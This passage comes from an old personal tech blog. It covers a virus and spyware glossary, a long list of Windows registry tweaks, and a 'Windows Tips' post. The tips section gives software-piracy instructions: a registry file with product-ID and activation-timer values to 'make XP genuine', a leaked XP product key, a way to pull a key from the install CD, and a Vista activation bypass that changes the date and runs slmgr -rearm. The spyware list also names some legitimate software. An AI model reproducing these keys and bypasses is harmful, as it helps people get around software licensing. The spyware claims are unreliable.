to the original virus code in an attempt to either throw antivirus software companies off, or create a different effect from the virus.<br /><span style="font-weight: bold;">Virus definitions file:</span> These are data files used by antivirus programs to help them identify and deal with viral attempts to infect your system.<br />About Virus......? Definitions<br /><span style="font-weight: bold;">What is a Virus?</span><br />A virus is a manmade program or piece of code that causes an unexpected, usually negative, event. Viruses are often disguised games or images with clever marketing titles such as "Me, nude."<br /><span style="font-weight: bold;">What is a Worm?</span><br />Computer Worms are viruses that reside in the active memory of a computer and duplicate themselves. They may send copies of themselves to other computers, such as through email or Internet Relay Chat (IRC).<br /><span style="font-weight: bold;">What is a Trojan Horse?</span><br />A Trojan horse program is a malicious program that pretends to be a benign application; a Trojan horse program purposefully does something the user does not expect. Trojans are not viruses since they do not replicate, but Trojan horse programs can be just as destructive.<br />Many people use the term to refer only to non-replicating malicious programs, thus making a distinction between Trojans and viruses<br /><span style="font-weight: bold;">What is spy-ware?</span><br />Spy-ware is Internet jargon for Advertising Supported software (Ad-ware). It is a way for shareware authors to make money from a product, other than by selling it to the users. There are several large media companies that offer them to place banner ads in their products in exchange for a portion of the revenue from banner sales. This way, you don't have to pay for the software and the developers are still getting paid. If you find the banners annoying, there is usually an option to remove them, by paying the regular licensing fee.<br /><span style="font-weight: bold;">Known spywares</span><br />There are thousands out there, new ones are added to the list everyday. But here are a few:<br />Alexa, Aureate/Radiate, BargainBuddy, ClickTillUWin, Conducent Timesink, Cydoor, Comet Cursor, eZula/KaZaa Toptext, Flashpoint/Flashtrack, Flyswat, Gator, GoHip, Hotbar, ISTbar, Lions Pride Enterprises/Blazing Logic/Trek Blue, Lop (C2Media), Mattel Brodcast, Morpheus, NewDotNet, Realplayer, Songspy, Xupiter, Web3000, WebHancer, Windows Messenger Service.<br /><span style="font-weight: bold;">How to check if a program has spyware?</span><br />The is this Little site that keeps a database of programs that are known to install spyware.<br />Check Here: http://www.spywareguide.com/product_search.php<br />If you would like to block pop-ups (IE Pop-ups).<br />There tons of different types out there, but these are the 2 best, i think.<br />Try: Google Toolbar (http://toolbar.google.com/) This program is Free<br />Try: AdMuncher (http://www.admuncher.com) This program is Shareware<br />If you want to remove the "spyware" try these.<br />Try: Lavasoft Ad-Aware (http://www.lavasoftusa.com/) This program is Free<br />Info: Ad-aware is a multi spyware removal utility, that scans your memory, registry and hard drives for known spyware components and lets you remove them. The included backup-manager lets you reinstall a backup, offers and multi language support.</div>Naveenhttp://www.blogger.com/profile/15694159556222410246noreply@blogger.com0tag:blogger.com,1999:blog-6039373802489229043.post-29285668880399931442007-10-30T19:22:00.000+05:302008-01-05T17:30:04.248+05:30Windows tweaks 2<span style="font-weight: bold;">51. Display the Windows version on the Desktop</span><br />HKEY_CURRENT_USER\ControlPanel\Desktop\PaintDesktopVersion<br />In Windows 2000, a DWORD value of 1 will display the Windows version on the desktop. A value of 0 does not display it.<br /><span style="font-weight: bold;">52. Change Location of Windows Setup Files </span><br />HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ Setup\SourcePath<br />This REG_SZ or String Value key stores the path to the location of the installation files.<br /><span style="font-weight: bold;">53. Internet Explorer Context Menu Items </span><br />HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt<br />These are menu items that appear in the Right-Click menu of Internet Explorer<br /><span style="font-weight: bold;">54. Internet Explorer Tools Menu Items </span><br />HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Extensions<br />HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Extensions<br />Each subkey of these keys define an addition to IE's Tools menu<br /><span style="font-weight: bold;">55. Restrict Users from Using GIFs and JPGs as Desktop Wallpaper </span><br />HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop\NoHTMLWallPaper To restrict users from using GIFs and JPGs as wallpaper (restrict them to BMP images) create or set this value to 1. A value of 0 will allow users to use all 3 types of images.<br />56. Restrict Users from Changing Desktop Wallpaper<br />HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop\NoChangingWallpaper This DWORD value 1 will stop people from being able to change their desktop wallpaper. A value of 0 will allow users to change the wallpaper.<br /><span style="font-weight: bold;">57. Clear Internet Explorer Address Bar Auto-complete Entries </span><br />HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TypedURLs<br />(Win9x)<br />HKEY_USERS\S-1-5-21...\Software\Microsoft\Internet Explorer\TypedURLs<br />(WinNT/2000)<br />When you type a URL in Internet Explorer (IE), the system automatically completes known entries with data stored in this registry key. Each time you type in a URL and press the Enter key or the Go button, that URL is stored in this location.<br /><span style="font-weight: bold;">58. Restrict Users from Logging Off </span><br />HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogOff This DWORD value set to 1 will remove the "Log Off User" option in the Start Menu. A value of 0 will show it.<span style="font-weight: bold;"> 59. Remove Background Tab from Appearing in the Display Applet </span><br />HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\NoDispBackgroundPage This DWord value set to 1 will stop the Background page of the Display applet from appearing. Setting it to 0 will cause it to appear.<br /><span style="font-weight: bold;">60. Scroll Start Menu or View Multiple Columns </span><br />HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\StartMenuScrollPrograms This String entry in the registry can be created if it doesn't exist. If you set it to FALSE it will make the start menu run into multiple columns. This works with IE5. You have probably noticed that if your Start Menu is too long, you get a little arrow at the top or bottom of the Programs menu telling you that you need to scroll to see what else is there. You can change this to behave the way Windows 95 used to.<br /><span style="font-weight: bold;">61. Remove Browser Branding </span><br />HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Toolbar\BrandBitmap<br />HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Toolbar\SmBrandBitmap<br />If you downloaded IE from ZDNet, Tucows, or any other major site, it is probably "branded", meaning that it probably has its own logo in the upper-right corner and in the title bar it says the branded name. These 2 registry settings should be deleted if you want to remove the branded logo. This will set it back to the default IE globe. http://support.microsoft.com/support/kb/articles/Q176/7/13.ASP<br /><span style="font-weight: bold;">62. Internet Explorer Window Title </span><br />HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title<br />This is where you can change the browser name that appears in the Internet Explorer window title. You can change it to anything you want.<br /><span style="font-weight: bold;">63. Smooth Scrolling in Microsoft Word </span><br />HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Word\Options\LiveScrolling<br />This features allows you to have smooth scrolling in Word 97. When you use the scroll bars in Word 97, you can't see the document as it scrolls by until you let go of the scroll bar. Adding this LiveScrolling setting and setting it to 1 will allow you to see document scroll by.<br /><span style="font-weight: bold;">64. Remove Desktop Icons </span><br />HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Eexplorer\Desktop\NameSpace A lot of programs install themselves and add an icon to the desktop. The problem is, this isn't just a shortcut that can be deleted. These are permanent links to certain<br />programs/features. In order to delete them, you need to navigate to this registry key and delete any entries you do not want.<br /><span style="font-weight: bold;">65. Start Menu Delay </span><br />HKEY_CURRENT_USER\Control Panel\Desktop\MenuShowDelay<br />This registry entry will control how fast each menu sub-level appears and how fast the taskbar will appear if you have autohide set up. The number that you enter will be the time in milliseconds the operating system will pause. 1 second would need an entry of 1000. I usually set mine at 0 so that it appears as quick as it can.<br /><span style="font-weight: bold;">66. Sort the Start menu </span><br />HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MenuOrder This registry key is where you would go in Windows 98 and Windows 95 with the windows update installed to fix your menu order. Maybe you haven't noticed, but the menu items in the Start Menu and in the Favorites folder don't have to be in alphabetical order. By dragging them, you can put them in any order you want. The problem is, once you have changed one, you can never get it back to alphabetical order without fixing it in the registry.<br />From the MenuOrder key, choose which sub key you want to edit, the Start Menu or the Favorites. You will see more sub keys that are called Menu. You can either delete that key, or delete the binary Order listing in the right hand pane. You can search through all of the sub keys for the same thing and reset any of them that you want.<br />If you don't like working in the registry, there is a PC Magazine utility available called MenuZap that you can download which does all of this automatically for you. Visit http://www.zdnet.com/pcmag/ and do a search for MenuZap to find it.<br /><span style="font-weight: bold;">67. Remove Uninstall Items from the Add/Remove Programs Applet </span><br />HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall<br />This registry key contains all of the sub keys for programs that can be uninstalled. When you want to uninstall, always use the uninstall program that came with the program or use the Add/Remove Programs applet of the Control Panel. This registry key can be useful when you have done that, but the program still comes up in the Add/Remove Programs listing. When you click on it it says "Can't find this file." Well, of course it can't, it has been uninstalled. It is just that the registry listing hasn't been removed.<br />To remove it, just visit this key, and then scroll down until you see the culprit. You might have to click on the sub key once so that the real name shows up in the right hand pane. Sometimes the sub key names don't make a lot of sense.<br /><span style="font-weight: bold;">68. Edit Windows Registration Information </span><br />HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion<br />HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion<br />This registry key will allow you to change to information you inputted about who Windows was registered to. You can change the company, persons name, the registration key, etc.<br /><span style="font-weight: bold;">69. Edit Windows Installed User Information </span><br />HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info<br />Have you noticed that when you install programs, it quite often automatically knows your name and your company name? That information does not come from the registry key mentioned above this one. It is found in this one. If you have gotten a used computer from someone or have changed companies and want to change those names, then visit this key.<br /><span style="font-weight: bold;">70. Change Windows Startup Items </span><br />HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run<br />HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run<br />This registry key will help you when there are programs starting up that you don't want running. When you install something like Norton Utilities or an antiviral program, they load up at start up and put a small icon in the system tray. You probably want most of these programs running, but lets say that you don't want it running. How do you get rid of it. There should be an option in the program setup, but if you just can't find it, you can go to this key, or any other that starts with RUN and delete the listing in the right hand pane.<br />For instance, Power Management is installed by default by Windows, even if you go into the power settings and tell it you want the computer on all the time, there is still a line in the RunServices key. It wasn't doing any harm because the power profile was set so that everything was on all the time, but why even have the profile in there is I don't use it. So I deleted it.<br /><span style="font-weight: bold;">71. Disable the mapped-drive reconnect warning </span><br />HKEY_CURRENT_USER\Network\RestoreDiskChecked<br />If you have mapped a network share to a drive letter, you can automatically remap it each time your computer starts. If the network share isn’t available anymore, then you a window pops up telling you this and asks you if you’d like to remap the drive again next time. This can get annoying. This DWORD set to 0 will disable the warning. Changing it to 1 will re-enable the warning.<br /><span style="font-weight: bold;">72. Turn off printer announcement broadcasts </span><br />HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\ DisableServerThread<br />This DWORD value set to 1 will prevent your computer from sending out announcements that it has printers shared. Setting it back to 0 renews the broadcasts.<br />This will prevent printers from appearing when browsing the network, but the printers are still available as long as their share name is known.<br /><span style="font-weight: bold;">73. Fix EXE Association Problems </span><br />HKEY_LOCAL_MACHINE \ Software \ Classes \ Exefile \ Shell \ Open \ Command<br />Do you ever get the error “Windows cannot find PROGRAM.EXE. This program is needed for opening files of type 'Application’”?<br />If so, then go to this registry key and make sure that it has the value:<br />"%1" %* (exactly as shown).<br /><span style="font-weight: bold;">74. Turn off Passport Reminder </span><br />(Windows XP)<br />HKEY_CURRENT_USER\Software\Microsoft\MessengerService\PassportBalloon<br />When this value is set to 0a, you won’t have the Passport reminder popup anymore.<br /><span style="font-weight: bold;">75. Stop Windows Messenger from Starting with Microsoft Outlook Express </span><br />HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Outlook Express\ Hide Messenger<br />This DWORD value set to 2 will stop Windows Messenger from starting with Microsoft Outlook express.<br />76. Logging Windows Installer activities in Windows 98<br />HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Installer\Logging<br />Windows Installer can log its activity. Give this String value a value of voicewarmup and you’ll get full logging.<br />The value may appear a little unusual, but each letter turns on a separate logging feature (the letters can be entered in any order):<br />i - Status messages<br />w - Non-fatal warnings<br />e - All error messages<br />a - Start up of actions<br />r - Action-specific records<br />u - User requests<br />c - Initial UI parameters<br />m - Out-of-memory or fatal exit information<br />o - Out-of-disk-space messages<br />p - Terminal properties<br />v - Verbose output<br />+ - Append to existing file<br />! - Flush each line to the log<br />"*" - Wildcard, log all information<br />except for the v option.<br />To include the v option, specify "/l*v".<br /><span style="font-weight: bold;">77. Run Defrag without Problems</span><br />HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Applets\Defrag\Settings\Disable loadqm.exe<br />HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Applets\Defrag\Settings\ Disable loadwc.exe<br />HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Applets\Defrag\Settings\ Disable ScreenSaver<br />HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Applets\Defrag\Settings\ Disable Wkdetect.exe<br />(Windows 9x/ME)<br />Set each of these values to YES to disable these programs while Defrag is running<br />LOADWC.EXE (Windows Update Checker), LOADQM.EXE (Query Manager), and WKDETECT.EXE (Update Checker for Microsoft Works).<br />78. Run Scandisk without Problems<br />HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Applets\Scandisk\Settings\ Disable loadqm.exe<br />HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Applets\Scandisk\Settings\ Disable loadwc.exe<br />HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Applets\Scandisk\Settings\ Disable ScreenSaver<br />(Windows 9x/ME)<br />Set each of these values to YES to disable these programs while Defrag is running<br />LOADWC.EXE (Windows Update Checker), LOADQM.EXE (Query Manager), and WKDETECT.EXE (Update Checker for Microsoft Works).<br /><span style="font-weight: bold;">79. Account Settings </span><br />HKEY_CURRENT_USER\Software\Microsoft\Internet Account Manager<br />Your Outlook Express Email Account settings are stored in this registry setting.<br /><span style="font-weight: bold;">80. Mail Rules </span><br />HKEY_CURRENT_USER\Identities<br />You'll find all the information about mail rules and other per-identity settings here, stored in sub-keys identified by your unique ID string. It will look something like this:<br />{36553740-2BAC-11D3-95B1-00A0C993DADF}<br />If you are importing information for the same user that you had when you exported this key, all will be fine. If you have recreated this user, or created a new one, the unique ID will be different, and so you will a bit of work to make it work.<br /><span style="font-weight: bold;">81. Set Temporary Internet Files Path </span><br />HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings/Cache/Paths/Path1-4<br />This registry setting will show you where your Temporary Internet Files are stored.<br />You can delete the sub-paths, but not the main Paths key. You can also change the location of these paths.<br />If you delete the Paths1-4, and set the value of Directory to a location, then you will have only 1 path (and no sub-paths).<br /><span style="font-weight: bold;">82. Clear Temporary Internet Files when Exiting Internet Explorer </span><br />HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Persistent<br />This REG_DWORD key when set to 0x00000000 (0) will clear your Temporary Internet Files folder when you exit Internet Explorer. This value set to 0x00000001 (1) will not clear it.<br /><span style="font-weight: bold;">83. Change the Temporary Internet Files Cache Size </span><br />HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet<br />Settings\5.0\Cache\Content\CacheLimit<br />HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet<br />Settings\Cache\Content\CacheLimit<br />Change the Base to Decimal and enter the amount of space you want to use for temporary Internet files (in kilobytes)<br /><span style="font-weight: bold;">84. Disable Balloon Tips </span><br />HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ EnableBalloonTips<br />(Windows XP)<br />This DWORD value set to 0 will disable the balloon tips. The value of 1 will enable the tips.<br /><span style="font-weight: bold;">85. Decide whether you want dial-up passwords saved </span><br />HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services \RasMan\Parameters<br />Add a value named DisableSavePassword<br />This REG_DWORD set it to 1 will stop Dial-Up Networking from saving the password. A setting of 0 will save the password.<br /><span style="font-weight: bold;">86. Display Customized Message When Windows Starts </span><br />HKEY_LOCAL_MACHINE\Software\MicrosoftWindows\CurrentVersion\Winlogon\ LegalNoticeCaption<br />HKEY_LOCAL_MACHINE\Software\MicrosoftWindows\CurrentVersion\Winlogon\ LegalNoticeText<br />These strings will display a small window when a computer first starts up. The caption is the name of the window. The text is the message itself in the window.<br /><span style="font-weight: bold;">87. Suppress the Windows Tour Prompt </span><br />(Windows XP)<br />HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Applets\Tour\ RunCount<br />This DWORD value set to 0 will stop the Windows Tour from appearing<br /><span style="font-weight: bold;">88. Disable The Getting Started Screen</span><br />HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoWelcomeScreen This REG_DWORD value set to 1 disables the Getting Started screen. 0 enables it.<br /><span style="font-weight: bold;">89. Add TLDs To IE’s Autosearch </span><br />HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\UrlTemplate<br />For Value Name, enter the next number available. This REG_SZ value will be setup the same way the existing ones are (www.%s.TLD, with TLD being .com, .edu, .biz, etc.)<br /><span style="font-weight: bold;">90. Refresh Windows Explorer Windows Immediately </span><br />HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Update\UpdateMode<br />This DWORD value set to 00 will force Windows to refreshe windows quicker<br /><span style="font-weight: bold;">91. Disable the Personalized Favorites Menu feature in IE 5.0 or later </span><br />HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FavIntelliMenus<br />Set this value to “no” (without the quotes).<br /><span style="font-weight: bold;">92. Disable IEs HTML Source Editor Check </span><br />HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\CheckDocumentForProgID<br />This String value set to “no (without the quotes) will stop Internet Explorer from changing the program that you can use to edit a current web page.<br /><span style="font-weight: bold;">93. Disabling File Shares On Servers </span><br />HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\Parameters\ AutoShareServer<br />This REG_DWORD value set to 0 will remove the default file shares<br /><span style="font-weight: bold;">94. Delete Page File When You Shut Down Windows </span><br />HKEY_LOCAL_MACHINE\SYSTEM\CURRENTCONTROLSET\CONTROL\SESSIONMANAGER\MEMORYMANAGEMENT\ClearPageFileAtShutdown This value set to 1 will clear the paging file when a computer is shut down<br /><span style="font-weight: bold;">95. Minimize Outlook to the System Tray </span><br />HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Outlook\Preferences\MinToTray<br />This REG_DWORD value set to 1 will minimize Outlook 2002/XP to the system tray rather than to the task bar.<br /><span style="font-weight: bold;">96. Realigning Dropdown Menus </span><br />HKEY_CURRENT_USER\Control Panel\Desktop\MenuDropAlignment<br />This String value set to 1 will cause menus to drop down from the right rather than the left.<br /><span style="font-weight: bold;">97. Display Start Menu Items in Alphabetical Order </span><br />HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer<br />MenuOrder<br />Delete this key and the menu will be reset to be in alphabetical order.<br /><span style="font-weight: bold;">98. Set Windows Explorer Toolbar Wallpaper </span><br />HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Toolbar\BackBitmapShell<br />This String value contains the location of the bitmap (BMP) image that you would like to use as the toolbar wallpaper.<br /><span style="font-weight: bold;">99. Enable Notification for Missed Scheduled Tasks </span><br />HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SchedulingAgent\NotifyOnTaskMiss<br />This DWORD value set to 1 will enable missed tasks notification. Setting this value to 0 will disable notification.<br /><span style="font-weight: bold;">100. Turn off Low Disk Space Notification<br /></span>(Windows XP)<br />HKEY_Current_User\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\ NoLowDiskSpaceChecks<br />This DWORD value set to 1 will disable the low disk space notification. 0 will enable it.Naveenhttp://www.blogger.com/profile/15694159556222410246noreply@blogger.com2tag:blogger.com,1999:blog-6039373802489229043.post-17744961975060526282007-10-30T15:16:00.000+05:302008-01-05T16:37:41.349+05:30Windows Tips 1<div> </div><p style="margin: 0in 0in 0.0001pt; text-align: justify;"><span style="">Note: tips for learning purpose only. am not responsible for any liabilities.<o:p></o:p></span></p><div style="text-align: justify;"> </div><div style="text-align: justify;"> </div><div style="text-align: justify;"> </div><div style="text-align: justify;"> </div><div style="text-align: justify;"> </div><div style="text-align: justify;"> </div><p style="text-align: justify;" class="MsoNormal"><b><span style="color: rgb(51, 51, 51);">Get the Xp Product Code its Cd Itself</span></b><br /><span style="color: rgb(51, 51, 51);">Get the Xp Product Code From its CD Itself<br />There is a way to get the xp product code from the cd just explorer the cd then open the folder I386 then open the file UNATTEND.TXT and scroll down to the last line and it goes to show what dumbasses microsoft are u have a product code.<br />Have fun u never need to search for a product code for xp again...!!!!</span><br /><b><span style="color: rgb(51, 51, 51);">Xp expires</span></b><br /><span style="color: rgb(51, 51, 51);">To reduce instances of "casual copying" (a nice name for software piracy), Microsoft has implemented a two-stage antipiracy scheme in its upcoming OS. The first stage is the installation and registration counter: this lets you install Windows XP only five times on the same system. (Note that you'll be able to install the final version of XP on only one machine, as opposed to the current beta, which can be installed on five machines for testing purposes.) The second stage creates a profile of the system to prevent you from reinstalling or registering the OS on different PCs.<br />To make this scheme work, you must activate your copy of Windows--over the Internet or by calling for an activation code--within 30 days of installation. Activation differs from a classic registration process in that no personal information is requested by or sent to Microsoft, just a record that a specific copy of Windows XP is installed on your specific PC. If you fail to activate your copy of the OS within 30 days, your login will fail. (Since XP is based on Windows NT-like privilege levels, you can't use your computer until you log on.)<br />Microsoft says the scheme should not prevent you from reinstalling your copy of XP on your PC as many times as you need to, as long as it's the same PC or close to it, allowing for some hardware changes. It's the "some" that has most folks worried. In theory, you might have to reactivate your OS if you upgrade significantly or swap out a lot of components because XP might think it's running on a new PC. So far, Microsoft isn't saying what system information the OS uses to determine the "same PC or close to it" status. That means we don't know to what degree you can upgrade your hardware before you cross the invisible line. We also don't know how much, if any, personally identifiable data Microsoft is gathering from your PC.<br />Microsoft says you can, of course, change at least one and possibly several hardware components--RAM, video or sound cards, CPUs, motherboards, and so on--without having to reactivate your OS. But if you try to reinstall your copy of Windows XP on what Microsoft calls a "different or significantly upgraded or changed PC" (again, the company declined to specify how different), the activation will most likely be rejected, requiring you to call Microsoft to explain and get a new (free) activation code.<br />Microsoft plans to set up a new call center for U.S.-based customers to expedite activation issues. Many non-U.S. customers will likely have to go through the existing, shared Microsoft technical support lines they currently use. Microsoft says it expects only 2 percent of the total installed base of Windows XP to have to reactivate the OS. Whether the anti-piracy initiative will present problems for consumers or result in fewer upgrades to XP remains to be seen. Remember, the final release is at least a few months off.<br /><b>Make XP genuine<br /><span style="font-size:100%;"><u>method1</u></span></b></span><span style="font-size:100%;"><br />Right click your desktop and select new text document.<br />Open that document and paste the following info.</span></p><div style="text-align: justify;"> </div><span style="font-size:100%;">Windows Registry Editor Version 5.00</span><br /><span style="">[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion]</span><br /><span style="">"CurrentBuild"="1.511.1 () (Obsolete data - do not use)"</span><br /><span style="">"ProductId"="55274-640-1011873-23081"</span><br /><span style="">"DigitalProductId"=hex:a4,00,00,00,03,00,00,00,35,35,32,37,34,2d,36,34,30,2d,\</span><br /><span style="">31,30,31,31,38,37,33,2d,32,33,30,38,31,00,2e,00,00,00,41,32,32,2d,30,30,30,\</span><br /><span style="">30,31,00,00,00,00,00,00,00,86,56,4e,4c,21,1b,2b,6a,a3,78,8e,8f,98,5c,00,00,\</span><br /><span style="">00,00,00,00,dd,da,47,41,cc,6b,06,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\</span><br /><span style="">00,00,00,00,00,00,00,00,00,00,00,38,31,30,32,36,00,00,00,00,00,00,00,b5,16,\</span><br /><span style="">00,00,83,83,1f,38,f8,01,00,00,f5,1c,00,00,00,00,00,00,00,00,00,00,00,00,00,\</span><br /><span style="">00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,66,e5,70,f3</span><br /><span style="">"LicenseInfo"=hex:33,b7,21,c1,e5,e7,cd,4b,fd,7c,c6,35,51,fd,52,57,17,86,3e,18,\</span><br /><span style="">d3,f4,8c,8e,35,32,7b,d1,43,8d,61,38,60,a4,ca,55,c9,9a,35,17,46,7a,4f,91,fc,\</span><br /><span style="">4a,d9,db,64,5c,c4,e2,0f,34,f3,ea</span><br /><br /><span style="">[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WPAEvents]</span><br /><span style="">"OOBETimer"=hex:ff,d5,71,d6,8b,6a,8d,6f,d5,33,93,fd</span><br />* In notepad click then.<br />* For file type in the save dialog box select "all files" and for the filename type in License Key.reg or whatever you want. It doesn't matter as long as it has the .reg extension.<br />* Click save.<br />* Double click the file thats now on your desktop. It will ask you are you sure. Tell it yes.<br />* To see that it worked go to<br />Code:<br />http://www.microsoft.com/genuine/downloads/FAQ.aspx<br />and click on "Validate Windows" over on the right<br /><span style=""><o:p></o:p></span><div style="text-align: justify;"> </div><p class="MsoNormal" style="margin-left: 0.25in; text-align: justify;"><span style="color: rgb(51, 51, 51);"><!--[if !supportEmptyParas]--> <!--[endif]--><o:p></o:p></span></p><div style="text-align: justify;"><span style="font-weight: bold;">Method2<br /></span>The Magical Jelly Bean Keyfinder is a freeware utility that retrieves your Product Key (cd key) used to install windows from your registry. It has the options to copy the key to clipboard, save it to a text file, or print it for safekeeping. It works on Windows 95, 98, ME, NT4, 2000, XP, Server 2003, Windows Vista, Office 97, Office XP, and Office 2003.<br />This version is a quick bug fix to remedy the broken "Change Windows Key" in Windows XP. Download Jellybean key finder from the link given below.<br /></div><div style="text-align: justify;"> </div><div style="text-align: justify;"> </div><div style="text-align: justify;"> </div><p style="text-align: justify;" class="MsoNormal"><span style="color: rgb(51, 51, 51);">Link - <span style="color: rgb(51, 51, 51);">http://www.magicaljellybean.com/keyfinder.shtml</span><br />Now open keyfinder.exe<br />Click on options and click "change windows key"<br />Now enter this key and you're done.<br />*****************************<br />V2C47-MK7JD-3R89F-D2KXW-VPK3J<br />*****************************<br />P.S: this works on windows Xp sp2 only......</span><br /><b><span style="color: rgb(51, 51, 51);">Activate windows vista any edition</span></b><span style="color: rgb(51, 51, 51);"><br /># Install Windows Vista Ultimate edition (or other edition) without product key.<br /># Windows Vista needs to be applied with 2099-ReArm trick, so that the counter of minutes to no activation required period will not return to normal after reboot. Click on Start Orb button.<br /># Select “All Programs”, then “Accessories”.<br /># Right click on “Command Prompt, then select “Run as Administrator (A)”.<br /># If User Account Control (UAC) prompt a warning message, click on “Continue”.<br /># In the command prompt, type date and press Enter. You will see the following:<br /><br />Microsoft Windows [Version 6.0.6000]<br />Copyright (c) 2006 Microsoft Corporation. All rights reserved.<br />C:\Windows\system32>date<br />Current date: 12/19/2006 Thursday<br />Enter new date:<br /># Enter 12/31/2099 (December 31, 2099).<br /># Next, type cscript slmgr.vbs -rearm. You will see something like the following:<br />C:\Windows\system32>cscript slmgr.vbs -rearm<br />Microsoft (R) Windows Script Host Version 5.7<br />Copyright (C) Microsoft Corporation. All rights reserved.<br />The command completed successfully.<br />To make the change effectively, please restart the system.<br /># Then reset the date of the system to current date again by typing date again. You will see the following:<br />Microsoft Windows [Version 6.0.6000]<br />Copyright (c) 2006 Microsoft Corporation. All rights reserved.<br />C:\Windows\system32>date<br />Current date: 12/31/2099 Thursday<br />Enter new date:<br /># Type in current date, i.e. 12/19/2006.<br /># Exit from command prompt, but do not restart the computer.</span></p><div style="text-align: justify;"> </div><span style="font-weight: bold;">Add your name to the right bottom corner of your computer window.</span><p style="text-align: justify;" class="MsoNormal">Go ahead, do this little trick to impress and amaze your friends<br />For Microsoft Windows XP.<br /></p><div style="text-align: justify;">Go to:<br />Start.<br />Control Panel.<br />Regional and Language Options.<br />Click the Customize button.<br />Select Time tag.<br />Highlight AM and type the name you want to display . Repeat with PM.<br />clicl apply and than ok<br /><span style="font-weight: bold;">Change Text on XP Start button.</span><br /><span style="">Now that the modified explorer.exe has been created its necessary to modify the registry so the file will be recognized when the user logs on to the system. If you dont know how to access the registry Im not sure this article is for you, but just in case its a temporary memory lapse, go to Start (soon to be something else) Run and type regedit in the Open: field. Navigate to:<o:p></o:p></span></div><div style="text-align: justify;"> </div><p style="text-align: justify;" class="MsoNormal"><span style="">HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows NT\ CurrentVersion\ Winlogon<br />In the right pane, double click the Shell entry to open the Edit String dialog box. In Value data: line, enter the name that was used to save the modified explorer.exe file. Click OK.<!--[endif]--><o:p></o:p></span></p><div style="text-align: justify;"> </div><div style="text-align: justify;"> </div><p style="margin: 0in 0in 0.0001pt; text-align: justify;"><span style="">Close Registry Editor and either log off the system and log back in, or reboot the entire system if thats your preference. If all went as planned you should see your new Start button with the revised text.</span><br /><b><span style="color: rgb(51, 51, 51);"></span></b><span style=""><span style="font-weight: bold;">Desktop properties won't work</span><br />If Desktop-properties won't work that can be caused by change in Registry base.<br />1. Make backup of your registry base.<br />2.HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVerison \ControlsFolder\Display\shellex\PropertySheetHandlers<br />There can be lots of keys , but standard and important are only:<br />- DeskHtmlExt, and<br />- PlusPack CPL extension<br />Keep just those two, and delete other keys.<br />Close Registry, and restart computer.<br /><span style="font-weight: bold;">Renaming CD ROM Drive Letter</span><br />Rename the drive letters of your CD drive(s) from the back of the alphabet, eg, Z, Y. This way, if you add extra hard disks, your CD drives do not get re-lettered.<o:p></o:p></span></p><div style="text-align: justify;"> </div><p style="margin: 0in 0in 0.0001pt; text-align: justify;"><span style="">Note from Bob: 